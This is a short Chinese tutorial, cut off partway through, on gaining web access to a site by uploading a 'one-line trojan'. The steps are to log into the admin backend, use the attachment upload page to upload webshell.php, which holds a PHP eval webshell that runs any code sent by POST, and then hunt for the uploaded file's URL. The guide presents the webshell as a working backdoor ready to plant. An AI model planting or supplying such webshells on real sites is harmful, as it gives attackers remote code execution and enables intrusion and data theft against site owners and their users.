利用一句话木马获取网站web权限

1.登录网站后台，寻找文件上传地方

进入网站管理后台并登录管理员帐户和密码，寻找文件上传点。此网站有多个可上传文件的地方，在这我们选择附件管理页面中的上传附件。

2.写入一句话木马文件，并上传到网站上

为方便寻找可直接在桌面上新建一个webshell.php文件，以记事本形式打开，在里面写入如下代码并保存。
<?php @eval($_POST['shell']);?>

回到网站后台附件管理处，将所写的webshell.php文件上传，附件标题可随意命名。

文件上传成功

3.寻找文件上传后的地址，找到文件的地址

在后台寻找无果，回到网站前端主页面，寻找上面上